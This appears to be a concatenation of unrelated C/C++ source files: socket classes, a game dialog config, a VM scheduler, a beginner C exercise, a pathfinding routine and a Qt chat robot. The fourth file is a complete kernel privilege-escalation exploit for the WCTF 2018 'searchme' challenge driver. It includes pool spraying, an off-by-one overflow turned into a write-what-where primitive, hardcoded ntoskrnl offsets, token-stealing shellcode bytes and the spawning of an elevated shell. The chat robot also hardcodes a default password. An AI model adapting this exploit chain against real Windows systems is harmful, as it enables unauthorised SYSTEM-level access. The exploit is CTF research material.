void setLocalAddressAndPort(const string &localAddress, unsigned short localPort = 0) throw(SocketException);
static void cleanUp() throw(SocketException);
static unsigned short resolveService(const string &service, const string &protocol = "tcp");
private:
// Prevent the user from trying to use value semantics on this object
Socket(const Socket &sock);
void operator=(const Socket &sock);
protected:
int sockDesc; // Socket descriptor
Socket(int type, int protocol) throw(SocketException);
Socket(int sockDesc);
};
/**
* Socket which is able to connect, send, and receive
*/
class CommunicatingSocket : public Socket {
public:
void connect(const string &foreignAddress, unsigned short foreignPort) throw(SocketException);
void send(const void *buffer, int bufferLen) throw(SocketException);
int recv(void *buffer, int bufferLen) throw(SocketException);
string getForeignAddress() throw(SocketException);
unsigned short getForeignPort() throw(SocketException);
protected:
CommunicatingSocket(int type, int protocol) throw(SocketException);
CommunicatingSocket(int newConnSD);
};
/**
* TCP socket for communication with other TCP sockets
*/
class TCPSocket : public CommunicatingSocket {
public:
TCPSocket() throw(SocketException);
TCPSocket(const string &foreignAddress, unsigned short foreignPort) throw(SocketException);
private:
// Access for TCPServerSocket::accept() connection creation
friend class TCPServerSocket;
TCPSocket(int newConnSD);
};
/**
* TCP socket class for servers
*/
class TCPServerSocket : public Socket {
public:
TCPServerSocket(unsigned short localPort, int queueLen = 5)
throw(SocketException);
TCPServerSocket(const string &localAddress, unsigned short localPort,
int queueLen = 5) throw(SocketException);
TCPSocket *accept() throw(SocketException);
private:
void setListen(int queueLen) throw(SocketException);
};
/**
* UDP socket class
*/
class UDPSocket : public CommunicatingSocket {
public:
UDPSocket() throw(SocketException);
UDPSocket(unsigned short localPort) throw(SocketException);
UDPSocket(const string &localAddress, unsigned short localPort) throw(SocketException);
void disconnect() throw(SocketException);
void sendTo(const void *buffer, int bufferLen, const string &foreignAddress, unsigned short foreignPort) throw(SocketException);
int recvFrom(void *buffer, int bufferLen, string &sourceAddress,
unsigned short &sourcePort) throw(SocketException);
void setMulticastTTL(unsigned char multicastTTL) throw(SocketException);
void joinGroup(const string &multicastGroup) throw(SocketException);
void leaveGroup(const string &multicastGroup) throw(SocketException);
private:
void setBroadcast();
};
/**
* Signals a problem with the execution of a socket call.
*/
class SocketException : public exception {
public:
/**
* Construct a SocketException with a explanatory message.
* @param message explanatory message
* @param incSysMsg true if system message (from strerror(errno))
* should be postfixed to the user provided message
*/
SocketException(const string &message, bool inclSysMsg = false) throw();
/**
* Provided just to guarantee that no exceptions are thrown.
*/
~SocketException() throw();
/**
* Get the exception message
* @return exception message
*/
const char *what() const throw();
private:
string userMessage; // Exception message
};
#endif
|
class DoorAccess
{
idd = 61144;
movingenable = 0;
onLoad = "keypadCancel = true;";
onUnload = "if(keypadCancel) then {DZE_Lock_Door = ''; [] spawn keyPadReset;};";
class Controls
{
class ZupaBackground_1
{
type = 0;
colorText[] = {0.8784,0.8471,0.651,1};
text = "";
fixedWidth = 0;
style = 0;
shadow = 2;
font = "Zeppelin32";
SizeEx = 0.03921;
idc = -1;
x = 0.35 * safezoneW + safezoneX;
y = 0.30 * safezoneH + safezoneY;
w = 0.20 * safezoneW;
h = 0.50 * safezoneH;
colorBackground[] = {0,0,0,0.8};
};
class ZupaHeader_2: ZSC_RscText
{
idc = -1;
x = 0.35 * safezoneW + safezoneX;
y = 0.30 * safezoneH + safezoneY;
w = 0.20 * safezoneW;
h = 0.05 * safezoneH;
text = $STR_EPOCH_DOORACCESS_TITLE;
colorBackground[] = {ZSC_DARK_BLUE, 0.5};
colorText[] = {1,1,1,1};
};
class ZupaButton_1 : ZSC_RscButtonMenu
{
idc = -1;
text = $STR_EPOCH_DOORACCESS_SCAN;
x = 0.40 * safezoneW + safezoneX;
y = 0.40 * safezoneH + safezoneY;
style = 2;
w = 0.20;
onButtonClick = "keypadCancel = false; call player_unlockDoor";
};
class ZupaButton_4 : ZSC_RscButtonMenu
{
idc = -1;
text = $STR_EPOCH_DOORACCESS_MANUAL;
x = 0.40 * safezoneW + safezoneX;
y = 0.50 * safezoneH + safezoneY;
style = 2;
w = 0.20;
onButtonClick = "call player_enterCode";
};
class ZupaButton_2: ZSC_RscButtonMenu
{
idc = -1;
text = $STR_DISP_CANCEL;
x = 0.40 * safezoneW + safezoneX;
y = 0.70 * safezoneH + safezoneY;
w = 0.20;
onButtonClick = "((ctrlParent (_this select 0)) closeDisplay 2);";
};
class ZupaButton_3: ZSC_RscButtonMenu
{
idc = -1;
text = $STR_EPOCH_ACTIONS_MANAGEDOOR;
x = 0.40 * safezoneW + safezoneX;
y = 0.60 * safezoneH + safezoneY;
w = 0.20;
onButtonClick = "[] call player_manageDoor";
};
};
};
|
#pragma once
#include "resource-scheduler.h"
// workload models
#include "workload-models/constant.h"
#include "workload-models/random-uniform.h"
namespace sim::custom {
using namespace sim::core;
class GreedyServerScheduler : public IServerScheduler
{
public:
explicit GreedyServerScheduler(UUID server_handle)
: IServerScheduler("Greedy", server_handle)
{
}
void UpdateSchedule() override
{
auto server =
actor_register_->GetActor<infra::Server>(shared_resource_);
auto server_spec = server->GetSpec();
const auto& vm_handles = server->GetVMs();
RAMBytes remaining_ram = server_spec.ram;
for (const auto& vm_handle : vm_handles) {
auto vm = actor_register_->GetActor<infra::VM>(vm_handle);
auto vm_requirements = vm->GetWorkload();
if (remaining_ram >= vm_requirements.required_ram) {
remaining_ram -= vm_requirements.required_ram;
WORLD_LOG_INFO("VM {} is saturated", vm->GetName());
// TODO: notify vm that it is saturated?
} else {
WORLD_LOG_INFO("VM {} is NOT saturated", vm->GetName());
}
}
}
};
} // namespace sim::custom
|
// WCTF_searchme_exploit_POC.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
// WCTF 2018 "searchme" task exploit
//
// Author: Mateusz "j00ru" Jurczyk
// Date: 6 July 2018
// Tested on: Windows 10 1803 (10.0.17134.165)
//
// See also: https://j00ru.vexillium.org/2018/07/exploiting-a-windows-10-pagedpool-off-by-one/
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <algorithm>
#include <cstdio>
#include <vector>
#pragma comment(lib, "ntdll.lib")
//
// Internal data structures found in the symbols of the original elgoog2 challenge from 34C3 CTF
// (see https://archive.aachen.ccc.de/34c3ctf.ccc.ac/challenges/index.html).
//
struct _ii_posting_list {
char token[16];
unsigned __int64 size;
unsigned __int64 capacity;
unsigned int data[1];
};
struct _ii_token_table {
unsigned __int64 size;
unsigned __int64 capacity;
_ii_posting_list *slots[1];
};
struct _inverted_index {
int compressed;
_ii_token_table *table;
};
//
// Global objects used in the exploit.
//
namespace globals {
// Handle to the \\.\Searchme vulnerable device.
HANDLE hDevice;
// A fake posting list set up in user-mode, identified as "fake" and with a UINT64_MAX capacity.
// It is used for a write-what-where primitive through an adequately set "size" field.
_ii_posting_list PostingList = { "fake", 0, 0xFFFFFFFFFFFFFFFFLL };
} // namespace globals
//
// Constant, structures and functions needed to obtain driver image base addresses through
// NtQuerySystemInformation(SystemModuleInformation).
//
#define SystemModuleInformation ((SYSTEM_INFORMATION_CLASS)11)
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
BOOLEAN GetKernelModuleBase(PCHAR Name, ULONG_PTR *lpBaseAddress) {
PRTL_PROCESS_MODULES ModuleInformation = NULL;
ULONG InformationSize = 16;
NTSTATUS NtStatus;
do {
InformationSize *= 2;
ModuleInformation = (PRTL_PROCESS_MODULES)realloc(ModuleInformation, InformationSize);
memset(ModuleInformation, 0, InformationSize);
NtStatus = NtQuerySystemInformation(SystemModuleInformation,
ModuleInformation,
InformationSize,
NULL);
} while (NtStatus == STATUS_INFO_LENGTH_MISMATCH);
if (!NT_SUCCESS(NtStatus)) {
return FALSE;
}
BOOL Success = FALSE;
for (UINT i = 0; i < ModuleInformation->NumberOfModules; i++) {
CONST PRTL_PROCESS_MODULE_INFORMATION Module = &ModuleInformation->Modules[i];
CONST USHORT OffsetToFileName = Module->OffsetToFileName;
if (!strcmp((const char *)&Module->FullPathName[OffsetToFileName], Name)) {
*lpBaseAddress = (ULONG_PTR)ModuleInformation->Modules[i].ImageBase;
Success = TRUE;
break;
}
}
free(ModuleInformation);
return Success;
}
//
// Functions facilitating communication with the Searchme driver through IOCTLs.
//
#define IOCTL_CREATE_INDEX (0x222000)
#define IOCTL_CLOSE_INDEX (0x222004)
#define IOCTL_ADD_TO_INDEX (0x222008)
#define IOCTL_COMPRESS_INDEX (0x22200C)
ULONG_PTR CreateEmptyIndex() {
ULONG_PTR Address;
DWORD BytesReturned;
if (!DeviceIoControl(globals::hDevice,
IOCTL_CREATE_INDEX,
/*lpInBuffer=*/NULL, /*nInBufferSize=*/0,
/*lpOutBuffer=*/&Address, /*nOutBufferSize=*/sizeof(Address),
&BytesReturned,
NULL)) {
return 0;
}
return Address;
}
BOOLEAN CloseIndex(ULONG_PTR Address) {
DWORD BytesReturned;
return DeviceIoControl(globals::hDevice,
IOCTL_CLOSE_INDEX,
/*lpInBuffer=*/&Address, /*nInBufferSize=*/sizeof(Address),
/*lpOutBuffer=*/NULL, /*nOutBufferSize=*/0,
&BytesReturned,
NULL);
}
BOOLEAN AddToIndex(ULONG_PTR Address, DWORD Value, PCHAR Token) {
struct {
ULONG_PTR Address;
DWORD Value;
CHAR Token[16];
} Request;
DWORD BytesReturned;
RtlZeroMemory(&Request, sizeof(Request));
Request.Address = Address;
Request.Value = Value;
strncpy_s(Request.Token, Token, sizeof(Request.Token));
return DeviceIoControl(globals::hDevice,
IOCTL_ADD_TO_INDEX,
/*lpInBuffer=*/&Request, /*nInBufferSize=*/sizeof(Request),
/*lpOutBuffer=*/NULL, /*nOutBufferSize=*/0,
&BytesReturned,
NULL);
}
ULONG_PTR CompressIndex(ULONG_PTR Address) {
ULONG_PTR NewAddress = 0;
DWORD BytesReturned;
if (!DeviceIoControl(globals::hDevice,
IOCTL_COMPRESS_INDEX,
/*lpInBuffer=*/&Address, /*nInBufferSize=*/sizeof(Address),
/*lpOutBuffer=*/&NewAddress, /*nOutBufferSize=*/sizeof(NewAddress),
&BytesReturned,
NULL)) {
return 0;
}
return NewAddress;
}
//
// A helper function converting an integer to a string within the [a-h] charset.
//
std::string StringFromNumber(unsigned int x) {
const char charset[] = "abcdefgh";
char buf[2] = { 0, 0 };
std::string ret;
for (int i = 0; i < 11; i++) {
buf[0] = charset[x & 7];
ret += buf;
x >>= 3;
}
return ret;
}
//
// Functions for leveraging the write-what-where primitive through a fully controlled posting list
// set up in user-mode memory.
//
BOOLEAN SetupWriteWhatWhere() {
CONST PVOID kTablePointer = (PVOID)0x0000056c00000558;
CONST PVOID kTableBase = (PVOID)0x0000056c00000000;
PVOID lp1 = NULL;
lp1 = VirtualAlloc(kTableBase, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(lp1 == NULL)
{
printf("[-] Unable to allocate fake base.\n");
return FALSE;
}
printf("VirtualAlloc is [0x%x]\n",lp1);
if(lp1 != kTableBase)
{
return FALSE;
}
_ii_token_table *TokenTable = (_ii_token_table *)kTablePointer;
TokenTable->size = 1;
TokenTable->capacity = 1;
TokenTable->slots[0] = &globals::PostingList;
return TRUE;
}
VOID WriteWhatWhere4(ULONG_PTR CorruptedIndex, ULONG_PTR Where, DWORD What) {
globals::PostingList.size = (Where - (ULONG_PTR)&globals::PostingList.data) / sizeof(DWORD);
AddToIndex(CorruptedIndex, What, "fake");
}
VOID WriteWhatWhere8(ULONG_PTR CorruptedIndex, ULONG_PTR Where, ULONG_PTR What) {
WriteWhatWhere4(CorruptedIndex, Where, (What & 0xffffffffLL));
WriteWhatWhere4(CorruptedIndex, Where + 4, ((What >> 32LL) & 0xffffffffLL));
}
VOID WriteWhatWhereString(ULONG_PTR CorruptedIndex, ULONG_PTR Where, std::string What) {
What.resize((What.size() + 3) & (~3), 0xcc);
for (size_t i = 0; i < What.size(); i += 4) {
WriteWhatWhere4(CorruptedIndex, Where + i, *(DWORD*)&What.data()[i]);
}
}
//
// A helper function spawning a (hopefully elevated) command prompt and waiting for its termination.
//
VOID SpawnAndWaitForShell() {
STARTUPINFO si;
PROCESS_INFORMATION pi;
RtlZeroMemory(&si, sizeof(si));
RtlZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
if (CreateProcess(L"C:\\Windows\\system32\\cmd.exe",
NULL, NULL, NULL, FALSE, 0, NULL, L"C:\\", &si, &pi)) {
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
int _tmain(int argc, _TCHAR* argv[])
{
std::string Shellcode;
int ExitCode = 0;
std::vector<ULONG_PTR>::iterator it;
// Make this a GUI thread.
LoadLibrary(L"user32.dll");
// Get the image base addresses of all required images.
ULONG_PTR Nt_Addr = 0, Win32kBase_Addr = 0;
if (!GetKernelModuleBase("ntoskrnl.exe", &Nt_Addr) ||
!GetKernelModuleBase("win32kbase.sys", &Win32kBase_Addr)) {
printf("[-] Unable to acquire kernel module address information.\n");
return 1;
}
printf("[+] ntoskrnl: %llx, win32kbase: %llx\n", Nt_Addr, Win32kBase_Addr);
// Open device for communication.
globals::hDevice = CreateFile(L"\\\\.\\Searchme",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (globals::hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Unable to open handle to vulnerable driver.\n");
return 1;
}
// Create a single source index which generates 0x2000-byte long indexes after compression.
ULONG_PTR SourceIndex = CreateEmptyIndex();
for (int i = 0; i < 0x154; i++) {
AddToIndex(SourceIndex, 0x1000 + i, (PCHAR)StringFromNumber(i).c_str());
}
printf("[+] Source Index: %llx\n", SourceIndex);
// "Spray" compressed indexes in an attempt to allocate adjacent objects on the pool.
CONST UINT kObjectsCount = 32;
CONST UINT kObjectSize = 0x2000;
std::vector<ULONG_PTR> Compressed;
for (int i = 0; i < kObjectsCount; i++) {
Compressed.push_back(CompressIndex(SourceIndex));
}
sort(Compressed.begin(), Compressed.end());
// Search for the adjacent objects among the generated indexes, and when they are found, free the
// first one in the pair.
ULONG AdjacentPairs = 0;
for (int i = 1; i < Compressed.size(); i++) {
if (Compressed[i] - Compressed[i - 1] == kObjectSize) {
CloseIndex(Compressed[i - 1]);
Compressed[i - 1] = 0;
AdjacentPairs++;
i++;
}
}
if (AdjacentPairs == 0) {
printf("[-] No adjacent allocations found, exploitation impossible.\n");
ExitCode = 1;
goto fail;
}
printf("[+] Total adjacent objects: %d\n", AdjacentPairs);
// Add more data to the source index, which still keeps the resulting compressed object at 0x2000
// bytes, but also overflows it by a single 0x00 byte.
AddToIndex(SourceIndex, 7, "zzzzzz");
AddToIndex(SourceIndex, 0, "zzzzzz");
AddToIndex(SourceIndex, 1, "zzzzzz");
AddToIndex(SourceIndex, 6, "zzzzzz");
AddToIndex(SourceIndex, 7, "zzzzzz");
// Trigger the off-by-one nul byte overflow to clear the "compressed" flag of an adjacent object,
// resulting in a type confusion.
if(CompressIndex(SourceIndex))
{
printf("CompressIndex OK\n");
}
// Set up a fake posting list in user-mode, to enable us to use the write-what-where primitive.
if(!SetupWriteWhatWhere())
{
printf("SetupWriteWhatWhere Fail\n");
}
// Try to detect which index was corrupted by attempting to use the write-what-where condition to
// write to a test variable on the stack.
ULONG_PTR CorruptedIndex = 0;
DWORD TestTarget = 0;
it = Compressed.begin();
for (it = Compressed.begin(); it != Compressed.end(); it++)
{
WriteWhatWhere4(*it, (ULONG_PTR)&TestTarget, 1);
if (TestTarget == 1) {
CorruptedIndex = *it;
break;
}
}
if (CorruptedIndex == 0) {
printf("[-] No corrupted index found, overflow unsuccessful?\n");
ExitCode = 1;
goto fail;
}
printf("[+] Corrupted index: %llx\n", CorruptedIndex);
// System-specific offsets within ntoskrnl.exe and win32kbase.sys.
#define ExAllocatePoolWithTag_OFFSET 0x2F4410
#define PsInitialSystemProcess_OFFSET 0x45B260
#define NtGdiDdDDIGetContextSchedulingPriority_OFFSET 0x1B60C0
// Overwrite a function pointer in the .data section of win32kbase.sys used by
// win32kbase!NtGdiDdDDIGetContextSchedulingPriority. The system call is a trivial wrapper around
// dxgkrnl!DxgkGetContextSchedulingPriority and passes the original arguments. Thanks to this, we
// can replace the pointer with the address of nt!ExAllocatePoolWithTag and allocate executable
// memory from the NonPagedPool for the EoP shellcode.
//
// The technique was introduced by Morten Schenk at Black Hat USA 2017 in his talk titled
// "TAKING WINDOWS 10 KERNEL EXPLOITATION TO THE NEXT LEVEL – LEVERAGING WRITE-WHAT-WHERE
// VULNERABILITIES IN CREATORS UPDATE".
//
// We chose a different, less frequently invoked system call, because overwriting the proposed
// NtGdiDdDDICreateAllocation pointer caused the graphical subsystem to malfunction.
WriteWhatWhere8(CorruptedIndex,
/*Where=*/Win32kBase_Addr + NtGdiDdDDIGetContextSchedulingPriority_OFFSET,
/*What=*/Nt_Addr + ExAllocatePoolWithTag_OFFSET);
// Load the address of the gdi32full!NtGdiDdDDIGetContextSchedulingPriority user-mode entry point
// to our overwritten kernel pointer.
HMODULE hGdi32 = LoadLibrary(L"gdi32full.dll");
typedef ULONG_PTR(__stdcall *FunctionProxy)(SIZE_T, SIZE_T);
FunctionProxy KernelFunction =
(FunctionProxy)GetProcAddress(hGdi32, "NtGdiDdDDIGetContextSchedulingPriority");
// Allocate one page of kernel RWX memory.
ULONG_PTR ShellcodeAddr = KernelFunction(0 /* NonPagedPool */, 0x1000);
printf("[+] Kernel allocation: %llx\n", ShellcodeAddr);
// The shellcode takes the address of a pointer to a process object in the kernel in the first
// argument (RCX), and copies its security token to the current process.
//
// 00000000 65488B0425880100 mov rax, [gs:KPCR.Prcb.CurrentThread]
// -00
// 00000009 488B80B8000000 mov rax, [rax + ETHREAD.Tcb.ApcState.Process]
// 00000010 488B09 mov rcx, [rcx]
// 00000013 488B8958030000 mov rcx, [rcx + EPROCESS.Token]
// 0000001A 48898858030000 mov [rax + EPROCESS.Token], rcx
// 00000021 C3 ret
CONST BYTE ShellcodeBytes[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00\x48\x8B\x80\xB8\x00\x00\x00"
"\x48\x8B\x09\x48\x8B\x89\x58\x03\x00\x00\x48\x89\x88\x58\x03\x00"
"\x00\xC3";
Shellcode.assign((PCHAR)ShellcodeBytes, sizeof(ShellcodeBytes));
// Write the token-swap shellcode to allocated kernel memory.
WriteWhatWhereString(CorruptedIndex, /*Where=*/ShellcodeAddr, /*What=*/Shellcode);
// Overwrite the function pointer again with the address of our shellcode.
WriteWhatWhere8(CorruptedIndex,
/*Where=*/Win32kBase_Addr + NtGdiDdDDIGetContextSchedulingPriority_OFFSET,
/*What=*/ShellcodeAddr);
// Copy the security token of the System process to the current process.
KernelFunction(Nt_Addr + PsInitialSystemProcess_OFFSET, 0);
// Spawn elevated command prompt.
SpawnAndWaitForShell();
fail:
// Clean up all active indexes and close the device.
it = Compressed.begin();
for (it = Compressed.begin(); it != Compressed.end(); it++)
{
if (*it != 0) {
CloseIndex(*it);
}
}
CloseIndex(SourceIndex);
CloseHandle(globals::hDevice);
getchar();
getchar();
return ExitCode;
}
|
#include"conio.h"
#include"stdio.h"
void main(void){
clrscr();
int a,b,c,d,e,f;
a=10>5;
b=10<5;
c=10>=5;
d=10<=5;
e=10!=5;
f=10==5;
printf("%d\n",a);
printf("%d\n",b);
printf("%d\n",c);
printf("%d\n",d);
printf("%d\n",e);
printf("%d\n",f);
getch();
}
|
#include "dijkstrasSearch.h"
bool CompareFloat(float a, float b)
{
return fabs(a - b) < .001;
}
std::vector<Pathfinding::Node*> GenerateNodeMap(const int mapWidth, const int mapHeight, const float windowWidth, const float windowHeight)
{
//generate list
std::vector<Pathfinding::Node*> map;
map.reserve(mapWidth * mapHeight);
float nodeWidth = windowWidth / mapWidth;
float nodeHeight = windowHeight / mapHeight;
//fill in list
for (int y = 0; y < mapHeight; ++y)
{
for (int x = 0; x < mapWidth; ++x)
{
Pathfinding::Node* n = new Pathfinding::Node(); //make node
n->parent = NULL;
n->position = Vector2(x * nodeWidth, y * nodeHeight); //set pos
map.push_back(n); //push into list
}
}
for (int n = 0; n < map.size(); ++n) //foreach node in map
{
auto node = map[n];
std::list<Pathfinding::Edge> edges; //make a list of edges
const int x = n % mapWidth;
const int y = n / mapWidth;
for (int i = -1; i < 2; ++i) {
for (int j = -1; j < 2; ++j) {
if (x + i >= 0 && x + i < mapWidth && y + j >= 0 && y + j < mapHeight && !(i == 0 && j == 0)) {
int neighbour_index = (y + j) * mapWidth + (x + i);
Pathfinding::Edge e; //make temp edge
e.target = map[neighbour_index]; //assign its target
edges.push_back(e); // push onto list
}
}
}
for (auto edge : edges) //foreach of the edges
{
node->connections.push_back(edge); //assign to the nodes connections
}
}
return map; //return
}
float Heuristic(Pathfinding::Node* _target, Pathfinding::Node* _endNode)
{
Vector2 heuristic(_endNode->position.x - _target->position.x, _endNode->position.y - _target->position.y);
return heuristic.Magnitude();
}
std::list<Pathfinding::Node*> dijkstrasSearch(Pathfinding::Node* startNode, Pathfinding::Node* endNode, std::vector<Pathfinding::Node*> map)
{
using namespace Pathfinding;
//reset nodes
for (auto node : map) {
node->gScore = 100000;
node->parent = NULL;
node->fScore = 100000;
node->hScore = 100000;
}
// Validate the input
if (startNode == NULL || endNode == NULL)
{
throw std::runtime_error("ERROR: NULL INPUTS");
}
if (startNode == endNode)
{
//throw std::runtime_error("ERROR: LIST HAS LENGTH OF ONE");
std::list<Pathfinding::Node*> empty;
empty.push_back(startNode);
return empty;
}
// Initialise the starting node
startNode->gScore = 0;
startNode->parent = NULL;
// Create our temporary lists for storing nodes we’re visiting/visited
std::list<Node*> openList;
std::list<Node*> closedList;
openList.push_back(startNode);
Node* currentNode;
while (openList.size() != 0)
{
openList.sort(); //sort by fScore
currentNode = openList.front();
// If we visit the endNode, then we can exit early.
// Sorting the openList guarantees the shortest path is found,
// given no negative costs (a prerequisite of the algorithm).
if (currentNode == endNode)
{
break;
}
openList.remove(currentNode);
closedList.push_back(currentNode);
float gScore = 0;
float hScore = 0;
float fScore = 0;
bool nodeFoundCL = false; //CL stands for closed list
bool nodeFoundOL = false; //OL stands for openList
for (Edge c : currentNode->connections)
{
for (Node* node : closedList)//is this target in the closedList
{
if (node == c.target)
{
nodeFoundCL = true; //yes it was found
}
}
if (!nodeFoundCL)
{
gScore = currentNode->gScore + c.cost;
hScore = Heuristic(c.target, endNode);
fScore = gScore + hScore;
// Have not yet visited the node.
// So calculate the Score and update its parent.
// Also add it to the openList for processing.
for (Node* node : openList)//is this target in the openList
{
if (node == c.target)
{
nodeFoundOL = true; //yes it was found
}
}
if (!nodeFoundOL)
{
c.target->gScore = gScore;
c.target->fScore = fScore;
c.target->parent = currentNode;
openList.push_back(c.target);
}
// Node is already in the openList with a valid Score.
// So compare the calculated Score with the existing
// to find the shorter path.
else if (fScore < c.target->fScore)
{
c.target->gScore = gScore;
c.target->fScore = fScore;
c.target->parent = currentNode;
}
}
}
}
// Create Path in reverse from endNode to startNode
std::list<Node*> path;
currentNode = endNode;
while (currentNode != NULL)
{
path.push_front(currentNode);
currentNode = currentNode->parent;
}
// Return the path for navigation between startNode/endNode
return path;
}
void PosToNodeTranslation(float posX, float posY, //player pos
int mapX, int mapY, //map dimensions
int windowX, int windowY)//window dimension
{
}
|
#include "mainwidget.h"
#include <QDebug>
#include <limits>
#include <QLabel>
#include <QTextBrowser>
#include <QPushButton>
#include <QLayout>
#include <QDateTime>
#include <QJsonDocument>
#include <QJsonObject>
#include <QJsonArray>
#include <QMutexLocker>
#include <thread>
#include "qglobal.h"
#define LOG_ERRORCODE(code) (qDebug() << QString("return code: %1").arg(code1));
MainWidget::MainWidget(QString username,
QString roomid,
QString passwd,
QString token,
QWidget *parent)
:QWidget(parent)
{
setMinimumSize(600, 800);
#ifdef WIN32
m_username = username.toStdWString();
m_roomID = roomid.toStdWString();
m_passwd = passwd.toStdWString();
if (m_passwd.empty()) m_passwd = __XT("123456");
m_token = token.toStdWString();
#else
m_username = username.toStdString();
m_roomID = roomid.toStdString();
m_passwd = passwd.toStdString();
m_token = token.toStdString();
#endif
init();
}
MainWidget::~MainWidget()
{
//quitRobot();
}
void MainWidget::init()
{
YIMManager* im = YIMManager::CreateInstance();
im->SetLoginCallback(this);
im->SetChatRoomCallback(this);
im->SetMessageCallback(this);
//YIMErrorcode code1 = im->GetMessageManager()->SetDownloadDir(__XT("./audio/"));
// if (code1 != YIMErrorcode_Success)
// qDebug() << QStringLiteral("设置下载目录错误") << code1;
//im->GetMessageManager()->SetDownloadAudioMessageSwitch(true); //默认自动下载语音
m_status = new QLabel(tr("status:"));
m_editor = new QTextBrowser(this);
YIMErrorcode code2 = im->Login(m_username.c_str(),
m_passwd.c_str(),
m_token.c_str());
if (code2 != YIMErrorcode_Success) {
qDebug() << QStringLiteral("登录失败,错误码 : ") << code2;
}
QVBoxLayout *mainLayout = new QVBoxLayout;
mainLayout->addWidget(m_status);
mainLayout->addWidget(m_editor);
QPushButton *close = new QPushButton(QStringLiteral("杀死机器人"));
connect(close, SIGNAL(clicked()), this, SLOT(quitRobot()));
//QPushButton *login = new QPushButton(QStringLiteral("登录"));
//connect(login, SIGNAL(clicked()), this, SLOT());
QHBoxLayout *buttonLayout = new QHBoxLayout;
buttonLayout->addWidget(close);
buttonLayout->addStretch(0);
mainLayout->addLayout(buttonLayout);
setLayout(mainLayout);
}
void MainWidget::OnRecvMessage(std::shared_ptr<IYIMMessage> message)
{
YIMManager *im = YIMManager::CreateInstance();
XUINT64 id = message->GetMessageID();
qDebug() << QStringLiteral("收到消息id") << id;
YIMMessageBodyType messageType = message->GetMessageBody()->GetMessageType();
XString sendID = message->GetSenderID();
XString receivID = message->GetReceiveID();
YIMChatType type = message->GetChatType();
unsigned int create_time = message->GetCreateTime();
QJsonObject jobj;
jobj["msg_id"] = static_cast<qint64>(id);
jobj["send_id"] = QString::fromStdWString(sendID);
jobj["recv_id"] = QString::fromStdWString(receivID);
jobj["create_time"] = static_cast<qint64>(create_time);
qint64 current_time = QDateTime::currentDateTime().toMSecsSinceEpoch();
jobj["robot_recv_time"] = current_time;
switch (messageType)
{
case MessageBodyType_TXT:
{
IYIMMessageBodyText* text =
static_cast<IYIMMessageBodyText*>(message->GetMessageBody());
//qDebug() << XStringToLocal(XString(text->GetMessageContent())).c_str();
jobj["msg_content"] = QString::fromStdWString(XString(text->GetMessageContent()));
QString showtext = QString::number(current_time) + " " +
QString::fromStdWString(XString(text->GetMessageContent()));
//锁住
{
QMutexLocker locker(&textlock);
//m_editor->append(showtext);
}
}
break;
case MessageBodyType_CustomMesssage:
{
IYIMMessageBodyCustom* custom =
static_cast<IYIMMessageBodyCustom*>(message->GetMessageBody());
std::string custom_str = custom->GetCustomMessage();
QByteArray text = QByteArray::fromStdString(custom_str).toBase64();
jobj["msg_content"] = QString(text);
QString showText = QString::number(current_time)
+ QString(" ") +
QString(text);
//m_editor->append(showText.left(20));
{
QMutexLocker locker(&textlock);
//m_editor->append(QString::fromStdString("bindata: " + custom_str));
}
}
break;
case MessageBodyType_Gift:
{
}
break;
case MessageBodyType_Voice:
{
IYIMMessageBodyAudio *audio =
static_cast<IYIMMessageBodyAudio*>(message->GetMessageBody());
jobj["audiotime"] = static_cast<qint64>(audio->GetAudioTime());
jobj["extraparam"] = QString::fromStdWString(XString(audio->GetExtraParam()));
jobj["localpath"] = QString::fromStdWString(XString(audio->GetLocalPath()));
jobj["filesize"] = static_cast<qint64>(audio->GetFileSize());
jobj["text"] = QString::fromStdWString(XString(audio->GetText()));
QString voicestr = QString::number(current_time)
+ QString(" [voice] ") + QString::number(audio->GetAudioTime()) + QString("s");
{
QMutexLocker locker(&textlock);
m_editor->append(voicestr);
}
}
break;
case MessageBodyType_Image:
case MessageBodyType_Emoji:
case MessageBodyType_File:
case MessageBodyType_Video:
case MessageBodyType_Unknow:
break;
default:
break;
}
QString qsendID = QString::fromStdWString(sendID);
if (messageType == MessageBodyType_TXT ||
messageType == MessageBodyType_Gift||
messageType == MessageBodyType_CustomMesssage
&& (!qsendID.contains("robot"))) { //如果是机器人发的消息 就不回
QJsonDocument doc;
qint64 ctime = QDateTime::currentDateTime().toMSecsSinceEpoch();
jobj["robot_send_time"] = ctime;
doc.setObject(jobj);
if (type == ChatType_RoomChat) {
XUINT64 reqNo;
YIMErrorcode code =
im->GetMessageManager()->SendTextMessage(receivID.c_str(),
type,
LocalToXString(doc.toJson().toStdString()).c_str(),
&reqNo);
if (code != YIMErrorcode_Success) {
qDebug() << QStringLiteral("消息回复不成功");
}
}
else if (type == ChatType_PrivateChat ||
type == ChatType_Multi) {
XUINT64 reqNo;
YIMErrorcode code = im->GetMessageManager()->SendTextMessage(sendID.c_str(), type,
LocalToXString(doc.toJson().toStdString()).c_str(),
&reqNo);
if (code != YIMErrorcode_Success) {
qDebug() << QStringLiteral("消息回复不成功");
}
}
else {
qDebug() << QStringLiteral("收到一条来源不明的消息, 机器人不回应");
}
}
//机器人是低智商的,每次收到消息就回复一个回音
/**
if (messageType == MessageBodyType_Voice) {
if (type == ChatType_RoomChat) {
XUINT64 reqNo;
YIMErrorcode code =
im->GetMessageManager()->SendAudioMessage(receivID.c_str(),
ChatType_PrivateChat,
&reqNo);
if (code != YIMErrorcode_Success) {
qDebug() << QStringLiteral("消息回复不成功");
}
